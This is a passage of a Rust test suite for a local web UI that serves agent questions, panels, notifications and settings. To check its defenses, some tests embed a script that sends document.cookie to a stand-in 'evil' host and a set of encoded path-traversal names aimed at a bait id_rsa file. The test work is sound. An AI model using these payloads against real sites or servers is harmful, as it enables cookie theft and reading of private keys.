7119 "{path} is the only thing between a hostile panel and the tailnet"
7120 );
7121 assert_eq!(
7122 res.header("x-content-type-options"),
7123 Some("nosniff"),
7124 "{path}: a browser must not re-decide the type we sent"
7125 );
7126 assert_eq!(
7127 res.header("referrer-policy"),
7128 Some("no-referrer"),
7129 "{path}: a panel must not leak the question id off the machine"
7130 );
7131
7132 let pre = fx.head(&path).await;
7137 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7138 assert_eq!(
7139 pre.header("content-security-policy"),
7140 res.header("content-security-policy"),
7141 "{path}: the preflight carries the same policy"
7142 );
7143 assert_eq!(
7144 pre.header("content-type"),
7145 res.header("content-type"),
7146 "{path}: the preflight carries the same type"
7147 );
7148 }
7149 }
7150
7151 #[tokio::test]
7152 async fn a_panel_reaches_the_browser_byte_for_byte() {
7153 let fx = Fixture::start().await;
7154 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7159 let id = panel(&fx, html, &[]);
7160
7161 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7162
7163 assert_eq!(res.status, 200);
7164 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7165 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7166 assert_eq!(
7167 res.header("content-disposition"),
7168 None,
7169 "the panel itself is rendered in the frame, not downloaded"
7170 );
7171 }
7172
7173 #[tokio::test]
7174 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7175 let fx = Fixture::start().await;
7176 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7177 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7178 let id = panel(
7179 &fx,
7180 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7181 &[("diff.svg", svg), ("shot.png", png)],
7182 );
7183
7184 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7185 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7186
7187 assert_eq!(as_svg.status, 200);
7188 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7189 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7194
7195 assert_eq!(as_png.status, 200);
7196 assert_eq!(as_png.header("content-type"), Some("image/png"));
7197 assert_eq!(
7198 as_png.header("content-disposition"),
7199 None,
7200 "a raster image has no execution surface, so tapping it still shows it"
7201 );
7202 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7203 }
7204
7205 #[tokio::test]
7206 async fn an_html_asset_is_never_served_as_html() {
7207 let fx = Fixture::start().await;
7208 let id = panel(
7209 &fx,
7210 "<p>see the notes</p>",
7211 &[
7212 (
7213 "notes.html",
7214 b"<script>fetch('http://evil/'+document.cookie)</script>",
7215 ),
7216 ("hook.js", b"fetch('http://evil/')"),
7217 ("data.json", b"{}"),
7218 ("HEADLINE.TXT", b"plain"),
7219 ],
7220 );
7221
7222 for name in ["notes.html", "hook.js", "data.json"] {
7223 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7224 assert_eq!(res.status, 200, "{name}: {}", res.body);
7225 assert_eq!(
7230 res.header("content-type"),
7231 Some("application/octet-stream"),
7232 "{name} must not be a type the browser will execute or render"
7233 );
7234 }
7235 let txt = fx
7238 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7239 .await;
7240 assert_eq!(
7241 txt.header("content-type"),
7242 Some("text/plain; charset=utf-8")
7243 );
7244 }
7245
7246 #[tokio::test]
7247 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7248 let fx = Fixture::start().await;
7249 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7250 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7254
7255 for encoded in [
7262 "%2e%2e%2fid_rsa",
7263 "..%2fid_rsa",
7264 "..%5cid_rsa",
7265 "%2e%2e%5cid_rsa",
7266 "diff%00.svg",
7267 "..",
7268 ".hidden",
7269 "%2e%2e%2f%2e%2e%2fid_rsa",
7270 ] {
7271 let res = fx
7272 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7273 .await;
7274 assert_eq!(
7275 res.status, 400,
7276 "`{encoded}` has to be refused by name, not looked up: {}",
7277 res.body
7278 );
7279 assert!(res.json()["error"].is_string(), "{}", res.body);
7280 }
7281
7282 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7288 let res = fx
7289 .get(&format!("/api/questions/{id}/asset/{literal}"))
7290 .await;
7291 assert_eq!(
7292 res.status, 404,
7293 "`{literal}` must not match the asset route at all: {}",
7294 res.body
7295 );
7296 }
7297 }
7298
7299 #[tokio::test]
7300 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7301 let fx = Fixture::start().await;
7302 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7303 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7304
7305 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7309 assert_eq!(none.status, 404, "{}", none.body);
7310 assert!(none.json()["error"].is_string(), "{}", none.body);
7311 assert_eq!(
7312 fx.head(&format!("/api/questions/{plain}/panel"))
7313 .await
7314 .status,
7315 404,
7316 "the preflight is the only way the client can learn this"
7317 );
7318
7319 let missing = fx
7321 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7322 .await;
7323 assert_eq!(missing.status, 404, "{}", missing.body);
7324 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7325
7326 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7328 assert_eq!(
7329 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7330 404
7331 );
7332 }
7333
7334 #[tokio::test]
7335 async fn a_run_with_an_open_question_reads_as_waiting() {
7336 let fx = Fixture::start().await;
7337 let run = "20260902-000000-beef".to_owned();
7338 write_run(&fx.runs(), &run, RunStatus::Implementing);
7339
7340 let before = fx.get("/api/runs").await.json();
7341 assert_eq!(before[0]["waiting"], false, "{before}");
7342
7343 let store = fx.questions();
7344 let mut q = Question::new(
7345 run.clone(),
7346 "implement".to_owned(),
7347 "impl-A".to_owned(),
7348 "Which backend?".to_owned(),
7349 String::new(),
7350 vec!["SQLite".to_owned()],
7351 );
7352 store.put(&mut q).expect("put");
7353
7354 let during = fx.get("/api/runs").await.json();
7355 assert_eq!(during[0]["waiting"], true, "{during}");
7356
7357 q.answer(Answer::Choice("SQLite".to_owned()))
7360 .expect("answer");
7361 store.put(&mut q).expect("put");
7362 let after = fx.get("/api/runs").await.json();
7363 assert_eq!(after[0]["waiting"], false, "{after}");
7364 }
7365
7366 #[tokio::test]
7367 async fn an_open_question_is_listed_and_counted_by_health() {
7368 let fx = Fixture::start().await;
7369 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7370
7371 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7372 let listed = fx.get("/api/questions").await.json();
7373 assert_eq!(listed.as_array().expect("array").len(), 1);
7374 assert_eq!(listed[0]["id"], id);
7375 assert_eq!(listed[0]["status"], "open");
7376 assert_eq!(listed[0]["choices"][1], "Redis");
7377 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7380 }
7381
7382 #[tokio::test]
7383 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7384 let fx = Fixture::start().await;
7385 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7386 let path = format!("/api/questions/{id}/answer");
7387
7388 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7389 assert_eq!(res.status, 200, "{}", res.body);
7390 let body = res.json();
7391 assert_eq!(body["status"], "answered");
7392 assert_eq!(body["answer"]["choice"], "Redis");
7393
7394 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7398 assert_eq!(again.status, 409, "{}", again.body);
7399 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7400 }
7401
7402 #[tokio::test]
7403 async fn saying_something_appends_a_turn_without_answering() {
7404 let fx = Fixture::start().await;
7405 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7406 let path = format!("/api/questions/{id}/say");
7407
7408 let res = fx
7409 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7410 .await;
7411 assert_eq!(res.status, 200, "{}", res.body);
7412 let body = res.json();
7413 assert_eq!(body["status"], "open", "talking back is not a decision");
7414 assert_eq!(body["answer"], Value::Null);
7415 assert_eq!(body["thread"][0]["who"], "operator");
7416 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7417 assert_eq!(body["waiting_on_agent"], true);
7418 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7420 }
7421
7422 #[tokio::test]
7423 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7424 let fx = Fixture::start().await;
7425 let store = fx.questions();
7426 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7427 assert_eq!(
7428 fx.get("/api/health").await.json()["questions_needs_owner"],
7429 1
7430 );
7431
7432 let res = fx
7438 .post(
7439 &format!("/api/questions/{id}/say"),
7440 Some(r#"{"body":"why not Postgres?"}"#),
7441 )
7442 .await;
7443 assert_eq!(res.status, 200, "{}", res.body);
7444 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7445 assert_eq!(
7446 fx.get("/api/health").await.json()["questions_needs_owner"],
7447 0,
7448 "waiting on the agent is not waiting on the owner"
7449 );
7450
7451 let mut q = store.get(&id).expect("get");
7455 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7456 .expect("reply");
7457 store.put(&mut q).expect("put");
7458 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7459 assert_eq!(
7460 fx.get("/api/health").await.json()["questions_needs_owner"],
7461 1,
7462 "the agent's reply is what should light the banner back up"
7463 );
7464 }
7465
7466 #[tokio::test]
7467 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7468 let fx = Fixture::start().await;
7469 let store = fx.questions();
7470
7471 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7472 let res = fx
7473 .post(
7474 &format!("/api/questions/{empty_id}/say"),
7475 Some(r#"{"body":" "}"#),
7476 )
7477 .await;
7478 assert_eq!(res.status, 400, "{}", res.body);
7479
7480 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7481 let mut answered = store.get(&answered_id).expect("get");
7482 answered
7483 .answer(Answer::Choice("SQLite".to_owned()))
7484 .expect("answer");
7485 store.put(&mut answered).expect("put");
7486 let res = fx
7487 .post(
7488 &format!("/api/questions/{answered_id}/say"),
7489 Some(r#"{"body":"still there?"}"#),
7490 )
7491 .await;
7492 assert_eq!(res.status, 409, "{}", res.body);
7493
7494 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7495 let mut abandoned = store.get(&abandoned_id).expect("get");
7496 abandoned.abandon("timed out");
7497 store.put(&mut abandoned).expect("put");
7498 let res = fx
7499 .post(
7500 &format!("/api/questions/{abandoned_id}/say"),
7501 Some(r#"{"body":"still there?"}"#),
7502 )
7503 .await;
7504 assert_eq!(res.status, 409, "{}", res.body);
7505 }
7506
7507 #[tokio::test]
7508 async fn an_answer_the_question_does_not_offer_is_refused() {
7509 let fx = Fixture::start().await;
7510 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7511 let path = format!("/api/questions/{id}/answer");
7512
7513 for body in [
7514 r#"{"choice":"Postgres"}"#,
7515 r#"{"text":"whatever you think"}"#,
7516 r#"{"choice":"Redis","text":"both"}"#,
7517 r#"{}"#,
7518 ] {
7519 let res = fx.post(&path, Some(body)).await;
7520 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7521 assert!(res.json()["error"].is_string(), "{}", res.body);
7522 }
7523 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7525 }
7526
7527 #[tokio::test]
7528 async fn a_free_text_question_takes_text_and_not_a_choice() {
7529 let fx = Fixture::start().await;
7530 let id = ask(&fx, "What should the flag be called?", &[]);
7531 let path = format!("/api/questions/{id}/answer");
7532
7533 assert_eq!(
7534 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7535 400
7536 );
7537 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7538 assert_eq!(res.status, 200, "{}", res.body);
7539 assert_eq!(res.json()["answer"]["text"], "--json");
7540 }
7541
7542 #[tokio::test]
7543 async fn an_unknown_question_is_a_json_404() {
7544 let fx = Fixture::start().await;
7545 let res = fx
7546 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7547 .await;
7548 assert_eq!(res.status, 404, "{}", res.body);
7549 assert!(res.json()["error"].is_string());
7550 }
7551
7552 #[tokio::test]
7553 async fn notifications_list_read_dismiss_and_health_agree() {
7554 let fx = Fixture::start().await;
7555 let store = Notices::at(fx.home.path().join("notifications"));
7556 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7557 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7558
7559 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7560 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7561
7562 let health = fx.get("/api/health").await.json();
7563 assert_eq!(health["notifications_unread"], 2);
7564 assert_ne!(
7565 health["notifications_rev"], rev0,
7566 "the badge must move live"
7567 );
7568
7569 let listed = fx.get("/api/notifications").await.json();
7570 assert_eq!(listed["unread"], 2);
7571 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7572 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7573
7574 let read = fx
7575 .post(&format!("/api/notifications/{}/read", a.id), None)
7576 .await;
7577 assert_eq!(read.status, 200, "{}", read.body);
7578 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7579
7580 let gone = fx
7581 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7582 .await;
7583 assert_eq!(gone.status, 200, "{}", gone.body);
7584 let listed = fx.get("/api/notifications").await.json();
7585 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7586 assert_eq!(listed["unread"], 0);
7587
7588 store.raise(Notice::info("x", "again")).unwrap();
7589 let all = fx.post("/api/notifications/read-all", None).await;
7590 assert_eq!(all.status, 200, "{}", all.body);
7591 assert_eq!(all.json()["marked"], 1);
7592 assert_eq!(
7593 fx.get("/api/health").await.json()["notifications_unread"],
7594 0
7595 );
7596
7597 let missing = fx.post("/api/notifications/nope/read", None).await;
7598 assert_eq!(missing.status, 404, "{}", missing.body);
7599 assert!(missing.json()["error"].is_string());
7600 }
7601
7602 #[tokio::test]
7609 async fn a_task_cannot_be_filed_over_the_phone_directly() {
7610 let f = Fixture::start().await;
7611
7612 let res = f
7613 .post(
7614 "/api/queue",
7615 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7616 )
7617 .await;
7618
7619 assert_eq!(
7620 res.status, 405,
7621 "POST /api/queue must not be a route: {}",
7622 res.body
7623 );
7624 assert!(
7625 f.queue().list().is_empty(),
7626 "a task filed by a route that does not exist must not reach the disk"
7627 );
7628 assert_eq!(f.get("/api/queue").await.status, 200);
7631 }
7632
7633 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7635 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7636 .expect("checkout dir");
7637 }
7638
7639 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7641
7642 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7643 let tmp = TempDir::new().expect("tempdir");
7644 let repo = tmp.path().join("repo");
7645 std::fs::create_dir_all(&repo).expect("repo dir");
7646 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7647 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7648 if let Some(text) = machine_toml {
7649 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7650 std::fs::write(&machine, text).expect("machine toml");
7651 }
7652 (tmp, repo, machine)
7653 }
7654
7655 #[tokio::test]
7656 async fn settings_get_reports_sources_and_the_advisors_fallback() {
7657 let (_tmp, repo, machine) =
7658 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7659 let f = Fixture::with_repo_and_machine(repo, machine).await;
7660 let res = f.get("/api/settings").await;
7661 assert_eq!(res.status, 200, "{}", res.body);
7662 let v = res.json();
7663 assert!(v["error"].is_null(), "{v}");
7664 let role = |k: &str| {
7665 v["roles"]
7666 .as_array()
7667 .and_then(|r| r.iter().find(|x| x["key"] == k))
7668 .cloned()
7669 .unwrap_or_else(|| panic!("no role {k}: {v}"))
7670 };
7671 assert_eq!(role("judges")["source"], "machine");
7672 assert_eq!(role("judges")["editable"], true);
7673 assert_eq!(role("implementers")["source"], "default");
7674 let adv = role("advisors");
7675 assert_eq!(adv["fallback"], "judges");
7676 assert!(
7677 adv["seats"]
7678 .as_array()
7679 .is_some_and(|s| s.iter().all(|x| x == "b")),
7680 "{adv}"
7681 );
7682 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7683 assert_eq!(v["agents"][0]["source"], "repo");
7684 }
7685
7686 #[tokio::test]
7687 async fn settings_get_reports_a_config_that_does_not_parse() {
7688 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7689 let f = Fixture::with_repo_and_machine(repo, machine).await;
7690 let res = f.get("/api/settings").await;
7691 assert_eq!(res.status, 200, "{}", res.body);
7692 let v = res.json();
7693 assert!(v["error"]["message"].is_string(), "{v}");
7694 assert!(
7695 v["error"]["path"]
7696 .as_str()
7697 .is_some_and(|p| p.ends_with("magi.toml")),
7698 "{v}"
7699 );
7700 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7701 }
7702
7703 #[tokio::test]
7704 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7705 let (_tmp, repo, machine) = settings_dirs(
7706 SETTINGS_AGENTS,
7707 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
7708 );
7709 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7710 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7711 let rev = f.get("/api/settings").await.json()["revision"]
7712 .as_str()
7713 .expect("revision")
7714 .to_owned();
7715 let body = serde_json::json!({
7716 "revision": rev,
7717 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7718 })
7719 .to_string();
7720 let res = f.put("/api/settings/roles", &body).await;
7721 assert_eq!(res.status, 200, "{}", res.body);
7722 let text = std::fs::read_to_string(&machine).expect("machine");
7723 assert_eq!(
7724 text,
7725 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7726 );
7727 assert_eq!(
7728 std::fs::read(repo.join("magi.toml")).expect("read"),
7729 repo_before
7730 );
7731 let again = f.get("/api/settings").await.json();
7732 let judges = again["roles"]
7733 .as_array()
7734 .expect("roles")
7735 .iter()
7736 .find(|r| r["key"] == "judges")
7737 .expect("judges")
7738 .clone();
7739 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7740 let stale = f.put("/api/settings/roles", &body).await;
7742 assert_eq!(stale.status, 409, "{}", stale.body);
7743 }
7744
7745 #[tokio::test]
7746 async fn settings_put_refuses_without_touching_the_file() {
7747 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7748 let (_tmp, repo, machine) = settings_dirs(
7749 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7750 Some(machine_text),
7751 );
7752 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7753 let rev = f.get("/api/settings").await.json()["revision"]
7754 .as_str()
7755 .expect("revision")
7756 .to_owned();
7757 for roles in [
7758 serde_json::json!({ "judges": ["nope"] }),
7759 serde_json::json!({ "reviewers": ["b"] }),
7760 serde_json::json!({ "bogus": ["a"] }),
7761 ] {
7762 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7763 let res = f.put("/api/settings/roles", &body).await;
7764 assert_eq!(res.status, 422, "{roles}: {}", res.body);
7765 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7766 assert_eq!(
7767 std::fs::read_to_string(&machine).expect("machine"),
7768 machine_text
7769 );
7770 }
7771 }
7772
7773 #[tokio::test]
7774 async fn repos_list_returns_name_and_path_for_every_configured_root() {
7775 let tmp = TempDir::new().expect("tempdir");
7776 let repo = tmp.path().join("repo");
7777 std::fs::create_dir_all(&repo).expect("repo dir");
7778 let root = tmp.path().join("root");
7779 make_checkout(&root, "github.com", "yukimemi", "magi");
7780 std::fs::write(
7781 repo.join("magi.toml"),
7782 format!(
7783 "[repos]\nroots = [{:?}]\n",
7784 root.to_string_lossy().into_owned()
7785 ),
7786 )
7787 .expect("write magi.toml");
7788
7789 let f = Fixture::with_repo(repo).await;
7790 let res = f.get("/api/repos").await;
7791 assert_eq!(res.status, 200, "{}", res.body);
7792 let list = res.json();
7793 let repos = list.as_array().expect("an array");
7794 assert_eq!(repos.len(), 1);
7795 assert_eq!(repos[0]["name"], "yukimemi/magi");
7796 assert!(
7797 repos[0]["path"]
7798 .as_str()
7799 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
7800 "{list}"
7801 );
7802 }
7803
7804 #[tokio::test]
7805 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
7806 let tmp = TempDir::new().expect("tempdir");
7807 let repo = tmp.path().join("repo");
7808 std::fs::create_dir_all(&repo).expect("repo dir");
7809 let root = tmp.path().join("root");
7810 make_checkout(&root, "github.com", "yukimemi", "magi");
7811 std::fs::write(
7812 repo.join("magi.toml"),
7813 format!(
7814 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
7815 root.to_string_lossy().into_owned()
7816 ),
7817 )
7818 .expect("write magi.toml");
7819
7820 let f = Fixture::with_repo(repo).await;
7821 let first = f.get("/api/repos").await;
7822 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
7823
7824 make_checkout(&root, "github.com", "yukimemi", "rvpm");
7827 let second = f.get("/api/repos").await;
7828 assert_eq!(
7829 second.json().as_array().map(Vec::len),
7830 Some(1),
7831 "a fresh cache must not rescan inside the TTL"
7832 );
7833
7834 let refreshed = f.get("/api/repos?refresh=1").await;
7835 assert_eq!(
7836 refreshed.json().as_array().map(Vec::len),
7837 Some(2),
7838 "an explicit refresh must rescan even inside the TTL"
7839 );
7840 }
7841
7842 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
7848
7849 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
7853 let tmp = TempDir::new().expect("tempdir");
7854 let repo = tmp.path().join("repo");
7855 std::fs::create_dir_all(&repo).expect("repo dir");
7856 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7857 let f = Fixture::with_repo(repo.clone()).await;
7858 (tmp, repo, f)
7859 }
7860
7861 #[tokio::test]
7862 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
7863 let (_tmp, _repo, f) = talk_fixture().await;
7864
7865 let opened = f.post("/api/talks", None).await;
7868 assert_eq!(opened.status, 201, "{}", opened.body);
7869 let body = opened.json();
7870 assert_eq!(body["status"], "open");
7871 assert_eq!(
7872 body["turns"].as_array().unwrap().len(),
7873 0,
7874 "opening takes no agent turn: there is nothing yet to answer"
7875 );
7876
7877 let also_opened = f.post("/api/talks", Some("{}")).await;
7879 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
7880
7881 let listed = f.get("/api/talks").await.json();
7882 assert_eq!(listed.as_array().unwrap().len(), 2);
7883 }
7884
7885 #[tokio::test]
7886 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
7887 let tmp = TempDir::new().expect("tempdir");
7888 let repo = tmp.path().join("repo");
7889 std::fs::create_dir_all(&repo).expect("repo dir");
7890 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
7891 std::fs::write(
7892 repo.join("magi.toml"),
7893 format!("{MOCK_AGENT_TOML}\n{second}"),
7894 )
7895 .expect("write magi.toml");
7896 let home = TempDir::new().expect("temp home");
7897 let talks = Talks::at(home.path().join("talks"));
7898 let ui = Arc::new(
7899 Ui::new(
7900 Queue::at(home.path().join("queue")),
7901 Questions::at(home.path().join("questions")),
7902 talks.clone(),
7903 home.path().join("runs"),
7904 home.path().to_path_buf(),
7905 repo.clone(),
7906 )
7907 .with_worktrees_root(home.path().join("wt")),
7908 );
7909 let cfg = config_for(&repo).await.expect("discover config");
7910 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
7911 let id = talk.id.clone();
7912 let call = |agent: &str| {
7913 talk_agent(
7914 State(Arc::clone(&ui)),
7915 Path(id.clone()),
7916 Json(TalkAgent {
7917 agent: agent.to_owned(),
7918 }),
7919 )
7920 };
7921
7922 let unknown = call("nobody").await.expect_err("unknown agent");
7923 assert_eq!(
7924 unknown.status,
7925 StatusCode::BAD_REQUEST,
7926 "{}",
7927 unknown.message
7928 );
7929
7930 {
7931 let mut claimed = None;
7934 for _ in 0..200 {
7935 claimed = ui.begin_talk_turn(&id).expect("claim");
7936 if claimed.is_some() {
7937 break;
7938 }
7939 tokio::time::sleep(Duration::from_millis(10)).await;
7940 }
7941 let _busy = claimed.expect("free");
7942 let busy = call("second").await.expect_err("busy talk");
7943 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
7944 }
7945 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
7946
7947 let Json(view) = call("second").await.expect("switch");
7948 assert_eq!(view.talk.agent, "second");
7949 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
7950 let saved = talks.get(&id).expect("reload");
7951 assert_eq!(saved.agent, "second");
7952 assert_eq!(saved.turns.len(), 1);
7953
7954 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
7955 .await
7956 .expect("detail");
7957 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
7958 assert_eq!(roster, ["mock", "second"]);
7959
7960 let mut closed = talks.get(&id).expect("reload");
7961 talk::close(&mut closed, &talks).expect("close");
7962 let refused = call("mock").await.expect_err("closed talk");
7963 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
7964 }
7965
7966 #[tokio::test]
7967 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
7968 let f = Fixture::start().await;
7969 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
7970 let queue = f.queue();
7971 let mut mine = Task::new(
7972 "rename the loader".to_owned(),
7973 "rename the loader".to_owned(),
7974 PathBuf::from("/repo/magi"),
7975 Source::Agent {
7976 run: talk_id.clone(),
7977 node: "chat".to_owned(),
7978 },
7979 );
7980 queue.put(&mut mine).expect("file the task");
7981 let mut theirs = Task::new(
7982 "unrelated".to_owned(),
7983 "unrelated".to_owned(),
7984 PathBuf::from("/repo/magi"),
7985 Source::Human,
7986 );
7987 queue.put(&mut theirs).expect("file the task");
7988
7989 let res = f.get(&format!("/api/talks/{talk_id}")).await;
7990 assert_eq!(res.status, 200, "{}", res.body);
7991 let body = res.json();
7992 assert_eq!(
7993 body["status"], "open",
7994 "filing a task does not close a talk"
7995 );
7996 let tasks = body["tasks"].as_array().expect("tasks array");
7997 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
7998 assert_eq!(tasks[0]["id"], mine.id);
7999 }
8000
8001 #[tokio::test]
8002 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8003 let (_tmp, _repo, f) = talk_fixture().await;
8004 let id = f.post("/api/talks", None).await.json()["id"]
8005 .as_str()
8006 .expect("id")
8007 .to_owned();
8008
8009 let res = f
8010 .post(
8011 &format!("/api/talks/{id}/say"),
8012 Some(r#"{"text":"what does the queue module do?"}"#),
8013 )
8014 .await;
8015 assert_eq!(res.status, 202, "{}", res.body);
8016 let queued = res.json();
8017 let turns = queued["turns"].as_array().expect("turns array");
8018 assert_eq!(
8019 turns.len(),
8020 1,
8021 "the answer reflects only what is on disk the instant it is sent, \
8022 before the agent's turn - which can run for the whole of \
8023 `[graph] timeout_talk` - has a chance to land: {queued}"
8024 );
8025 assert_eq!(turns[0]["who"], "operator");
8026 assert_eq!(turns[0]["body"], "what does the queue module do?");
8027 assert_eq!(
8028 queued["thinking"], true,
8029 "the accepted response exposes the background turn claim: {queued}"
8030 );
8031
8032 let mut turns_after = 1;
8033 for _ in 0..SETTLE_STEPS {
8034 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8035 turns_after = detail["turns"].as_array().expect("turns array").len();
8036 if turns_after == 2 {
8037 break;
8038 }
8039 tokio::time::sleep(Duration::from_millis(10)).await;
8040 }
8041 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8042 }
8043
8044 #[tokio::test]
8071 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8072 let tmp = TempDir::new().expect("tempdir");
8073 let repo = tmp.path().join("repo");
8074 std::fs::create_dir_all(&repo).expect("repo dir");
8075 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8076 let home = TempDir::new().expect("temp home");
8077 let talks = Talks::at(home.path().join("talks"));
8078 let ui = Arc::new(
8079 Ui::new(
8080 Queue::at(home.path().join("queue")),
8081 Questions::at(home.path().join("questions")),
8082 talks.clone(),
8083 home.path().join("runs"),
8084 home.path().to_path_buf(),
8085 repo.clone(),
